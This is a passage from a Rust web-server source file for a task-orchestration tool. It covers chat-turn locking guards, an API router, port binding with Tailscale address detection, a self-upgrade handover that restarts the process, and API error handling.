1373 .payload
1374 .get("merge")
1375 .and_then(serde_json::Value::as_str)
1376 .map(str::to_owned),
1377 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1378 };
1379 LoopView {
1380 running: managed || reporting,
1381 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1382 parking: matches!(control, Some(crate::worker::Control::Park))
1383 && jobs.iter().any(|job| job.kind == "task"),
1384 owned: managed,
1385 repo,
1386 merge,
1387 last_error: self.lock_loop().last_error.clone(),
1388 daemon: DaemonView::of(reading),
1389 }
1390 }
1391
1392 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1394 lock_or_recover(&self.looping)
1395 }
1396
1397 fn is_thinking(&self, id: &str) -> bool {
1399 self.talk_turns
1400 .lock()
1401 .is_ok_and(|turns| turns.live.contains(id))
1402 || self.talks.turn_held(id)
1405 || crate::chat_worker::turn_worker_active(&self.talks, id)
1406 }
1407
1408 fn is_thinking_observed(&self, id: &str) -> bool {
1411 self.talk_turns.try_lock().map_or_else(
1412 |error| matches!(error, std::sync::TryLockError::WouldBlock),
1415 |turns| turns.live.contains(id),
1416 )
1417 || self.talks.turn_held(id)
1420 || crate::consult::turn_worker_observed(&self.talks, id)
1421 }
1422
1423 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1442 self.claim_talk_turn(id, false)
1443 }
1444
1445 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1448 self.claim_talk_turn(id, true)
1449 }
1450
1451 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1452 let mut live = self
1453 .talk_turns
1454 .lock()
1455 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1456 if crate::chat_worker::turn_worker_active(&self.talks, id) {
1457 if queued {
1458 *live.queued.entry(id.to_owned()).or_default() += 1;
1459 }
1460 return Ok(None);
1461 }
1462 let inserted = live.live.insert(id.to_owned());
1463 let lease = if inserted {
1467 match self.talks.claim_turn(id) {
1468 Ok(Some(lease)) => Some(lease),
1469 Ok(None) => {
1470 live.live.remove(id);
1471 None
1472 }
1473 Err(e) => {
1474 live.live.remove(id);
1475 return Err(ApiError::from(e));
1476 }
1477 }
1478 } else {
1479 None
1480 };
1481 if lease.is_none() {
1482 if queued {
1483 *live.queued.entry(id.to_owned()).or_default() += 1;
1488 }
1489 return Ok(None);
1490 }
1491 Ok(Some(TalkTurnGuard {
1492 talk: id.to_owned(),
1493 turns: Arc::clone(&self.talk_turns),
1494 released: false,
1495 lease,
1496 }))
1497 }
1498
1499 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1504 let mut live = self
1505 .talk_turns
1506 .lock()
1507 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1508 if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1510 return Ok(TalkTurnStart::Busy);
1511 }
1512 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1513 return Ok(TalkTurnStart::Foreign);
1514 };
1515 let talk = self.talks.get(id).map_err(ApiError::from)?;
1517 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1518 return Ok(TalkTurnStart::Pending);
1519 }
1520 live.live.insert(id.to_owned());
1521 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1522 talk: id.to_owned(),
1523 turns: Arc::clone(&self.talk_turns),
1524 released: false,
1525 lease: Some(lease),
1526 }))
1527 }
1528
1529 fn queued_generation(&self, id: &str) -> u64 {
1530 let live = self
1531 .talk_turns
1532 .lock()
1533 .unwrap_or_else(PoisonError::into_inner);
1534 live.queued.get(id).copied().unwrap_or(0)
1535 }
1536
1537 fn auto_upgrade_busy(&self) -> bool {
1540 #[cfg(test)]
1541 if self
1542 .lock_loop()
1543 .live
1544 .as_ref()
1545 .is_some_and(|live| live.stop.busy_now())
1546 {
1547 return true;
1548 }
1549 crate::worker::active(&self.home)
1550 .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1551 || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1552 || !self
1553 .resuming
1554 .lock()
1555 .unwrap_or_else(PoisonError::into_inner)
1556 .is_empty()
1557 || !self
1558 .talk_turns
1559 .lock()
1560 .unwrap_or_else(PoisonError::into_inner)
1561 .live
1562 .is_empty()
1563 || self
1564 .talks
1565 .list()
1566 .iter()
1567 .any(|talk| self.is_thinking(&talk.id))
1568 }
1569
1570 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1574 let mut live = self
1575 .resuming
1576 .lock()
1577 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1578 if self
1579 .upgrade_spawned
1580 .load(std::sync::atomic::Ordering::SeqCst)
1581 {
1582 return Err(ApiError::conflict("an upgrade is in progress"));
1583 }
1584 if !live.insert(id.to_owned()) {
1585 return Err(ApiError::conflict(format!(
1586 "run {id} is already being resumed"
1587 )));
1588 }
1589 Ok(ResumeGuard {
1590 run: id.to_owned(),
1591 resuming: Arc::clone(&self.resuming),
1592 })
1593 }
1594
1595 pub fn router(self) -> Router {
1603 Arc::new(self).shared_router()
1604 }
1605
1606 fn shared_router(self: Arc<Self>) -> Router {
1607 Router::new()
1608 .route("/", get(index))
1609 .route("/app.css", get(app_css))
1610 .route("/app.js", get(app_js))
1611 .route("/api/health", get(health))
1612 .route("/api/references", post(id_links::resolve_text))
1613 .route("/api/loop", get(loop_get).post(loop_post))
1614 .route("/api/upgrade", post(upgrade_post))
1615 .route("/api/runs", get(runs_list))
1616 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1617 .route("/api/runs/{id}/progress", get(run_progress))
1618 .route("/api/runs/{id}/core", get(run_core))
1619 .route("/api/runs/{id}/report", get(run_report))
1620 .route("/api/runs/{id}/report.json", get(run_report_json))
1621 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1622 .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1623 .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1624 .route("/api/runs/{id}/fold", post(run_fold))
1625 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1626 .route("/api/runs/{id}/resume", post(run_resume))
1627 .route("/api/queue", get(queue_list))
1628 .route("/api/queue/page", get(queue_page))
1629 .route("/api/search", get(search_get))
1630 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1631 .route("/api/queue/{id}/core", get(task_core))
1632 .route("/api/stats", get(stats_get))
1633 .route("/api/stats/queue", get(stats_queue))
1634 .route("/api/repos", get(repos_list))
1635 .route("/api/settings", get(settings_get))
1636 .route("/api/settings/roles", put(settings_put_roles))
1637 .route("/api/queue/{id}/hold", post(queue_hold))
1638 .route("/api/queue/{id}/reassign", post(queue_reassign))
1639 .route("/api/queue/{id}/release", post(queue_release))
1640 .route("/api/queue/{id}/priority", post(queue_priority))
1641 .route("/api/queue/{id}/urgent", post(queue_urgent))
1642 .route("/api/queue/{id}/implementers", post(queue_implementers))
1643 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1644 .route("/api/queue/{id}/edit", post(queue_edit))
1645 .route("/api/queue/{id}/done", post(queue_done))
1646 .route("/api/decisions", get(decisions_list))
1647 .route("/api/decisions/{id}", get(decision_get))
1648 .route("/api/questions", get(questions_list))
1649 .route("/api/questions/core", get(questions_core))
1650 .route("/api/questions/origins", get(question_origins))
1651 .route("/api/questions/{id}/answer", post(question_answer))
1652 .route("/api/questions/{id}/say", post(question_say))
1653 .route("/api/questions/{id}/consult", post(question_consult))
1654 .route("/api/questions/{id}/panel", get(question_panel))
1655 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1663 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1664 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1665 .route("/api/notifications", get(notifications_list))
1666 .route("/api/notifications/read-all", post(notifications_read_all))
1667 .route("/api/notifications/{id}/read", post(notification_read))
1668 .route(
1669 "/api/notifications/{id}/dismiss",
1670 post(notification_dismiss),
1671 )
1672 .route("/api/talks", get(talks_list).post(talk_post))
1673 .route("/api/talks/page", get(talks_page))
1674 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1675 .route("/api/talks/{id}/core", get(talk_core))
1676 .route("/api/talks/{id}/sections", get(talk_sections))
1677 .route("/api/talks/{id}/say", post(talk_say))
1678 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1679 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1680 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1681 .route("/api/talks/{id}/agent", post(talk_agent))
1682 .route("/api/talks/{id}/persona", post(talk_persona))
1683 .route("/api/talks/{id}/implementers", post(talk_implementers))
1684 .route("/api/talks/{id}/close", post(talk_close))
1685 .route("/api/talks/{id}/reopen", post(talk_reopen))
1686 .route(
1692 "/api/talks/{id}/attachments",
1693 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1694 )
1695 .route(
1696 "/api/talks/{id}/attachments/{att}",
1697 get(talk_attachment_get),
1698 )
1699 .route("/api/talks/{id}/avatar", get(talk_avatar))
1700 .route("/avatars/operator.svg", get(operator_avatar))
1701 .route(
1702 "/api/avatar-settings",
1703 get(avatar_settings_get)
1704 .put(avatar_settings_put)
1705 .delete(avatar_settings_delete),
1706 )
1707 .route("/avatars/persona", get(settings_persona_avatar))
1708 .route("/avatars/magi", get(magi_avatar))
1709 .route(
1710 "/api/magi-icon",
1711 get(magi_icon_get)
1712 .put(magi_icon_put)
1713 .delete(magi_icon_delete),
1714 )
1715 .route("/api/events", get(events))
1716 .with_state(self)
1717 }
1718}
1719
1720#[derive(Debug)]
1726struct TalkTurnGuard {
1727 talk: String,
1728 turns: Arc<Mutex<TalkTurns>>,
1729 released: bool,
1730 lease: Option<crate::talk::TurnLease>,
1732}
1733
1734#[derive(Debug, Default)]
1741struct TalkTurns {
1742 live: HashSet<String>,
1743 queued: HashMap<String, u64>,
1744}
1745
1746enum TalkTurnStart {
1749 Claimed(TalkTurnGuard),
1750 Busy,
1751 Foreign,
1754 Pending,
1755}
1756
1757impl TalkTurnGuard {
1758 #[cfg(test)]
1759 fn owns(&self) -> bool {
1763 self.lease
1764 .as_ref()
1765 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1766 }
1767
1768 #[cfg(test)]
1769 async fn respond(
1772 &self,
1773 talk: &mut Talk,
1774 talks: &Talks,
1775 cfg: &Config,
1776 text: &str,
1777 ) -> anyhow::Result<()> {
1778 let lease = self
1779 .lease
1780 .as_ref()
1781 .context("the turn guard no longer holds its lease")?;
1782 talk::respond(lease, talk, talks, cfg, text).await
1783 }
1784
1785 fn release(mut self, live: &mut TalkTurns) {
1788 self.lease = None;
1792 live.live.remove(&self.talk);
1793 live.queued.remove(&self.talk);
1794 self.released = true;
1795 }
1796}
1797
1798impl Drop for TalkTurnGuard {
1799 fn drop(&mut self) {
1800 if self.released {
1801 return;
1802 }
1803 drop(self.lease.take());
1805 if let Ok(mut live) = self.turns.lock() {
1806 live.live.remove(&self.talk);
1807 live.queued.remove(&self.talk);
1808 }
1809 }
1810}
1811
1812struct ResumeGuard {
1814 run: String,
1815 resuming: Arc<Mutex<HashSet<String>>>,
1816}
1817
1818impl Drop for ResumeGuard {
1819 fn drop(&mut self) {
1820 if let Ok(mut live) = self.resuming.lock() {
1821 live.remove(&self.run);
1822 }
1823 }
1824}
1825
1826async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1836 const WINDOW: Duration = Duration::from_secs(10);
1837 const GAP: Duration = Duration::from_millis(250);
1838
1839 let deadline = std::time::Instant::now() + WINDOW;
1840 let mut said = false;
1841 loop {
1842 match tokio::net::TcpListener::bind(socket).await {
1843 Ok(listener) => return Ok(listener),
1844 Err(e)
1845 if e.kind() == std::io::ErrorKind::AddrInUse
1846 && std::time::Instant::now() < deadline =>
1847 {
1848 if !said {
1849 said = true;
1850 tracing::info!(
1851 "{socket} is still held - waiting up to {}s for it, \
1852 which is what a restart looks like from here",
1853 WINDOW.as_secs()
1854 );
1855 }
1856 tokio::time::sleep(GAP).await;
1857 }
1858 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1859 }
1860 }
1861}
1862
1863static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1866
1867const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1869const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1871
1872fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1874 value.is_some_and(|v| v == "1")
1875}
1876
1877fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1896 let args: Vec<String> = std::env::args().skip(1).collect();
1897 updater::log_step(
1898 home,
1899 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1900 );
1901 let log_path = home.join(WEB_LOG);
1902 let open_log = || {
1903 std::fs::create_dir_all(home)?;
1904 std::fs::OpenOptions::new()
1905 .create(true)
1906 .append(true)
1907 .open(&log_path)
1908 };
1909 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1910 Ok(pair) => (
1911 std::process::Stdio::from(pair.0),
1912 std::process::Stdio::from(pair.1),
1913 ),
1914 Err(e) => {
1915 updater::log_warn(
1916 home,
1917 &format!(
1918 "could not open {}: {e}; the successor logs nowhere",
1919 log_path.display()
1920 ),
1921 );
1922 (std::process::Stdio::null(), std::process::Stdio::null())
1923 }
1924 };
1925
1926 let mut cmd = std::process::Command::new(exe);
1927 cmd.env_remove(RESUME_LOOP_ENV);
1928 cmd.env(RESTART_PORT_ENV, port.to_string());
1929 cmd.args(&args)
1930 .stdin(std::process::Stdio::null())
1931 .stdout(out)
1932 .stderr(err);
1933 #[cfg(windows)]
1934 {
1935 use std::os::windows::process::CommandExt as _;
1936 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1939 }
1940 let child = cmd.spawn().context("start the successor")?;
1941 Ok(child.id())
1942}
1943
1944const WEB_LOG: &str = "web.log";
1946
1947async fn wait_for_handover(signal: &Notify) {
1951 signal.notified().await;
1952}
1953
1954pub async fn serve(opts: Opts) -> Result<()> {
1957 crate::worker::remember_current_executable()?;
1960 let executable = std::env::current_exe().context("find the installed web executable")?;
1961 let (addr, warning) = resolve_bind(&opts.bind);
1962 if let Some(warning) = warning {
1963 tracing::warn!("{warning}");
1964 }
1965
1966 report::set_color(false);
1972
1973 let repo = normalize_default_repo(opts.repo).await;
1974 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1975 let home = ui.home.clone();
1977 let admissions = Arc::clone(&ui.admissions);
1978 updater::reconcile_after_restart(&home);
1983 updater::log_step(
1984 &home,
1985 &format!(
1986 "web process started (version {}); handover log {}, successor output {}",
1987 env!("CARGO_PKG_VERSION"),
1988 updater::log_path(&home).display(),
1989 home.join(WEB_LOG).display()
1990 ),
1991 );
1992 updater::spawn_watchdog(home.clone());
1993 let port = if opts.port == 0 {
2001 std::env::var(RESTART_PORT_ENV)
2002 .ok()
2003 .and_then(|value| value.parse::<u16>().ok())
2004 .filter(|port| *port != 0)
2005 .unwrap_or(0)
2006 } else {
2007 opts.port
2008 };
2009 let socket = SocketAddr::new(addr, port);
2010 let listener = bind_waiting(socket).await?;
2011 let bound = listener.local_addr().context("read bound web address")?;
2012 let port = bound.port();
2013 let url = format!("http://{bound}");
2014 tracing::info!(
2015 "magi web UI on {url} - there is no authentication, so anyone who can \
2016 reach this address can file and hold tasks: the tailnet is the \
2017 security boundary"
2018 );
2019 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2021 ui.start_detached_loop()
2022 .await
2023 .map_err(|e| anyhow::anyhow!(e.message))?;
2024 }
2025 if opts.open {
2026 println!("{url}");
2030 }
2031
2032 let recheck_ui = ui.clone();
2035 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2036 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2037 let interrupted = async {
2038 if tokio::signal::ctrl_c().await.is_err() {
2039 std::future::pending::<()>().await;
2044 }
2045 };
2046 let handover = wait_for_handover(&HANDOVER);
2047 let outcome = tokio::select! {
2048 joined = &mut served => match joined {
2049 Ok(outcome) => outcome.context("serve the web UI"),
2050 Err(e) => Err(e).context("the task serving the web UI ended"),
2051 },
2052 () = interrupted => {
2053 recheck.abort();
2054 tracing::info!("shutting down the web UI; detached workers continue");
2055 close_admissions(&admissions).await;
2056 served.abort();
2057 let _ = served.await;
2058 Ok(())
2059 }
2060 () = handover => {
2061 recheck.abort();
2062 let successor_home = home.clone();
2063 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2064 }
2065 };
2066 recheck.abort();
2067 let _ = recheck.await;
2068 updater::log_step(
2069 &home,
2070 &match &outcome {
2071 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2072 Err(e) => format!("serve: returning an error: {e:#}"),
2073 },
2074 );
2075 outcome
2076}
2077
2078async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2099 if repo != FsPath::new(".") {
2100 return repo;
2101 }
2102 let Ok(canonical) = repo.canonicalize() else {
2103 return repo;
2104 };
2105 if git::toplevel(&canonical).await.is_ok() {
2106 return repo;
2107 }
2108 let Some(home) = dirs::home_dir() else {
2109 return repo;
2110 };
2111 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2112 Some(found) => {
2113 tracing::info!(
2114 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2115 canonical.display(),
2116 found.path.display(),
2117 found.reason,
2118 );
2119 found.path
2120 }
2121 None => repo,
2122 }
2123}
2124
2125async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2128 *admissions.write().await = true;
2129}
2130
2131async fn hand_over(
2134 home: &FsPath,
2135 admissions: &tokio::sync::RwLock<bool>,
2136 served: tokio::task::JoinHandle<std::io::Result<()>>,
2137 successor: impl FnOnce() -> Result<u32>,
2138) -> Result<()> {
2139 close_admissions(admissions).await;
2140 if let Some(mut progress) = updater::read_progress(home) {
2141 progress.advance(updater::Stage::Restarting);
2142 progress.detail =
2143 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2144 updater::write_progress_logged(home, &progress);
2145 }
2146 updater::log_step(
2147 home,
2148 "restarting scheduler without parking execution workers",
2149 );
2150 let scheduler = daemon::restart_detached(home).await;
2151 if let Err(error) = &scheduler {
2152 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2153 updater::log_warn(
2154 home,
2155 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2156 );
2157 }
2158 updater::log_step(home, "releasing the web listener");
2159 served.abort();
2160 let _ = served.await;
2161 updater::log_step(home, "web listener released; starting the successor");
2162 match successor() {
2163 Ok(pid) => {
2164 updater::log_step(home, &format!("successor started, pid {pid}"));
2165 scheduler
2166 }
2167 Err(e) => {
2168 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2169 Err(e)
2170 }
2171 }
2172}
2173
2174pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2180 match bind {
2181 Bind::Addr(addr) => (*addr, None),
2182 Bind::Auto => match tailscale_ip() {
2183 Ok(ip) => (IpAddr::V4(ip), None),
2184 Err(why) => (
2185 IpAddr::V4(Ipv4Addr::LOCALHOST),
2186 Some(format!(
2187 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2188 local-only and a phone cannot reach it; start Tailscale \
2189 or pass --bind <addr>"
2190 )),
2191 ),
2192 },
2193 }
2194}
2195
2196fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2204 let out = std::process::Command::new("tailscale")
2205 .args(["ip", "-4"])
2206 .quiet()
2207 .output()
2208 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2209 if !out.status.success() {
2210 let why = String::from_utf8_lossy(&out.stderr);
2211 let why = why.trim();
2212 return Err(format!(
2213 "`tailscale ip -4` failed ({}){}",
2214 out.status,
2215 if why.is_empty() {
2216 String::new()
2217 } else {
2218 format!(": {why}")
2219 }
2220 ));
2221 }
2222 String::from_utf8_lossy(&out.stdout)
2223 .lines()
2224 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2225 .find(is_tailnet)
2226 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2227}
2228
2229fn is_tailnet(ip: &Ipv4Addr) -> bool {
2231 let o = ip.octets();
2232 o[0] == 100 && (64..=127).contains(&o[1])
2233}
2234
2235type ApiResult<T> = std::result::Result<T, ApiError>;
2239
2240#[derive(Debug)]
2242struct ApiError {
2243 status: StatusCode,
2244 message: String,
2245 text_reason: Option<crate::question_delivery::UnavailableReason>,
2246}
2247
2248impl ApiError {
2249 fn bad_request(message: impl Into<String>) -> Self {
2251 Self {
2252 text_reason: None,
2253 status: StatusCode::BAD_REQUEST,
2254 message: message.into(),
2255 }
2256 }
2257
2258 fn not_found(message: impl Into<String>) -> Self {
2260 Self {
2261 text_reason: None,
2262 status: StatusCode::NOT_FOUND,
2263 message: message.into(),
2264 }
2265 }
2266
2267 fn with_status(mut self, status: StatusCode) -> Self {
2270 self.status = status;
2271 self
2272 }
2273
2274 fn bad_request_from(e: anyhow::Error) -> Self {
2278 Self::bad_request(format!("{e:#}"))
2279 }
2280
2281 fn conflict(message: impl Into<String>) -> Self {
2282 Self {
2283 text_reason: None,
2284 status: StatusCode::CONFLICT,
2285 message: message.into(),
2286 }
2287 }
2288
2289 fn internal(message: impl Into<String>) -> Self {
2291 Self {
2292 text_reason: None,
2293 status: StatusCode::INTERNAL_SERVER_ERROR,
2294 message: message.into(),
2295 }
2296 }
2297}
2298
2299impl From<anyhow::Error> for ApiError {
2300 fn from(e: anyhow::Error) -> Self {
2305 Self::internal(format!("{e:#}"))
2306 }
2307}
2308
2309impl IntoResponse for ApiError {
2310 fn into_response(self) -> Response {
2311 let mut body = serde_json::json!({ "error": self.message });
2312 if let Some(reason) = self.text_reason {
2313 body["code"] = serde_json::json!("question_text_unavailable");
2314 body["reason"] = serde_json::json!(reason);
2315 }
2316 (self.status, Json(body)).into_response()
2317 }
2318}
2319
2320async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2329where
2330 T: Send + 'static,
2331{
2332 #[cfg(test)]
2333 let job = request_cost::carry(job);
2334 match tokio::task::spawn_blocking(job).await {
2335 Ok(result) => result,
2336 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2337 }
2338}
2339
2340async fn bulk_blocking<T>(
2343 slots: Arc<tokio::sync::Semaphore>,
2344 job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2345) -> ApiResult<T>
2346where
2347 T: Send + 'static,
2348{
2349 let permit = slots
2350 .acquire_owned()
2351 .await
2352 .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2353 let (send, receive) = tokio::sync::oneshot::channel();
2354 #[cfg(test)]
2355 let job = request_cost::carry(job);
2356 let runtime = tokio::runtime::Handle::current();
2357 std::thread::Builder::new()
2358 .name("web-bulk".into())
2359 .spawn(move || {
2360 let _permit = permit;
2361 let _runtime = runtime.enter();
2363 let _ = send.send(job());
2364 })
2365 .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2366 receive
2367 .await
2368 .map_err(|_| ApiError::internal("Bulk reader failed"))?
2369}
2370
2371const ASSET_CACHE: &str = "no-cache, must-revalidate";
2389
2390fn asset_etag() -> &'static str {
2397 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2398 format!(
2399 "\"{}-{}\"",
2400 env!("CARGO_PKG_VERSION"),
2401 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2406 )
2407 });
2408 &TAG
2409}
2410
2411fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2413 [
2414 (header::CONTENT_TYPE, mime),
2415 (header::CACHE_CONTROL, ASSET_CACHE),
2416 (header::ETAG, asset_etag()),
2417 ]
2418}
2419
2420fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2428 let tag = asset_etag();
2429 let known = headers
2430 .get(header::IF_NONE_MATCH)
2431 .and_then(|v| v.to_str().ok())
2432 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2436 if known {
2437 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2438 }
2439 (asset_headers(mime), body).into_response()
2440}
2441
2442async fn index(headers: header::HeaderMap) -> Response {
2443 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2444}
2445
2446async fn app_css(headers: header::HeaderMap) -> Response {
2447 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2448}
2449
2450async fn app_js(headers: header::HeaderMap) -> Response {
2451 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2452}
2453
2454#[derive(Debug, Serialize)]
2456struct HealthView {
2457 version: &'static str,
2458 home: String,
2459 queue_rev: u64,
2460 runs_rev: u64,
2461 questions_rev: u64,
2473 talks_rev: u64,
2475 notifications_rev: u64,
2477 notifications_unread: usize,
2480 loop_rev: u64,
2485 runs_unreadable: usize,
2493 disk: Option<serde_json::Value>,
2501 questions_open: usize,
2507 questions_needs_owner: usize,
2517 daemon: DaemonView,
2518 #[serde(rename = "loop")]
2524 looping: LoopView,
2525 update: UpdateView,
2532 upgrade: Option<UpgradeProgressView>,
2536 jobs: Vec<WorkerView>,
2539 upgrade_request_error: Option<UpgradeRequestFailure>,
2540}
2541
2542#[derive(Debug, Serialize)]
2545struct WorkerView {
2546 id: String,
2547 kind: String,
2548 key: String,
2549 pid: Option<u32>,
2550 status: crate::worker::Status,
2551 generation: String,
2552 version: Option<String>,
2553 queue_owned: bool,
2554}
2555
2556impl From<crate::worker::Job> for WorkerView {
2557 fn from(job: crate::worker::Job) -> Self {
2558 let queue_owned = job.kind == "task"
2559 && job
2560 .payload
2561 .get("standalone")
2562 .and_then(serde_json::Value::as_bool)
2563 != Some(true);
2564 Self {
2565 id: job.id,
2566 kind: job.kind,
2567 key: job.key,
2568 pid: job.pid,
2569 status: job.status,
2570 generation: job.generation,
2571 version: job.version,
2572 queue_owned,
2573 }
2574 }
2575}
2576
2577#[derive(Debug, Clone, Serialize)]
2584struct UpdateView {
2585 available: bool,
2587 to: Option<String>,
2589}
2590
2591#[derive(Debug, Serialize)]
2593struct UpgradeProgressView {
2594 trigger: updater::UpgradeTrigger,
2595 stage: updater::Stage,
2596 from: String,
2597 to: Option<String>,
2598 waiting_on: Option<String>,
2601 started_at: Timestamp,
2602 updated_at: Timestamp,
2603 detail: Option<String>,
2604 stuck_for_secs: Option<i64>,
2607 stuck_kind: Option<updater::StallKind>,
2610 handover_alive: bool,
2613}
2614
2615fn should_spawn_recheck(cfg: &Update) -> bool {
2622 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2623}
2624
2625fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2637 if progress.is_some_and(|p| !p.stage.terminal()) {
2638 return false;
2639 }
2640 checker.should_check()
2641}
2642
2643fn recheck_poll_period(cfg: &Update) -> Duration {
2656 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2657}
2658
2659#[derive(Debug, PartialEq, Eq)]
2660enum AutoUpgradeDecision {
2661 Skip(&'static str),
2662 Wait,
2663 Trigger,
2664}
2665
2666fn auto_upgrade_decision(
2667 cfg: &Update,
2668 disabled: bool,
2669 in_motion: bool,
2670 busy: bool,
2671 tag: &str,
2672 failed: Option<&str>,
2673) -> AutoUpgradeDecision {
2674 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2675 AutoUpgradeDecision::Skip("disabled")
2676 } else if in_motion {
2677 AutoUpgradeDecision::Skip("upgrade already in progress")
2678 } else if failed == Some(tag) {
2679 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2680 } else if busy {
2681 AutoUpgradeDecision::Wait
2682 } else {
2683 AutoUpgradeDecision::Trigger
2684 }
2685}
2686
2687async fn run_update_recheck(ui: Arc<Ui>) {
2689 loop {
2690 let cfg = match Config::discover(&ui.repo, None) {
2691 Ok((cfg, _)) => cfg,
2692 Err(e) => {
2693 updater::log_warn(
2694 &ui.home,
2695 &format!("auto-upgrade: config unavailable: {e:#}"),
2696 );
2697 tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2698 continue;
2699 }
2700 };
2701 if should_spawn_recheck(&cfg.update)
2702 && let Some(checker) = updater::Checker::new(&cfg.update)
2703 {
2704 let progress = updater::read_progress(&ui.home);
2705 let mut latest = checker.cached_update();
2706 if update_recheck_due(&checker, progress.as_ref()) {
2707 match checker.newer_release().await {
2708 Ok(found) => latest = found,
2709 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2710 }
2711 }
2712 if cfg.update.auto_restart
2713 && let Some(latest) = latest
2714 {
2715 let response =
2716 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2717 updater::log_step(
2718 &ui.home,
2719 &format!("auto-upgrade: request status {}", response.status()),
2720 );
2721 }
2722 }
2723 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2724 }
2725}
2726
2727fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2733 let default;
2734 let cfg = match cfg {
2735 Some(cfg) => cfg,
2736 None => {
2737 default = Config::default();
2738 &default
2739 }
2740 };
2741 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2742 match latest {
2743 Some(latest) => UpdateView {
2744 available: true,
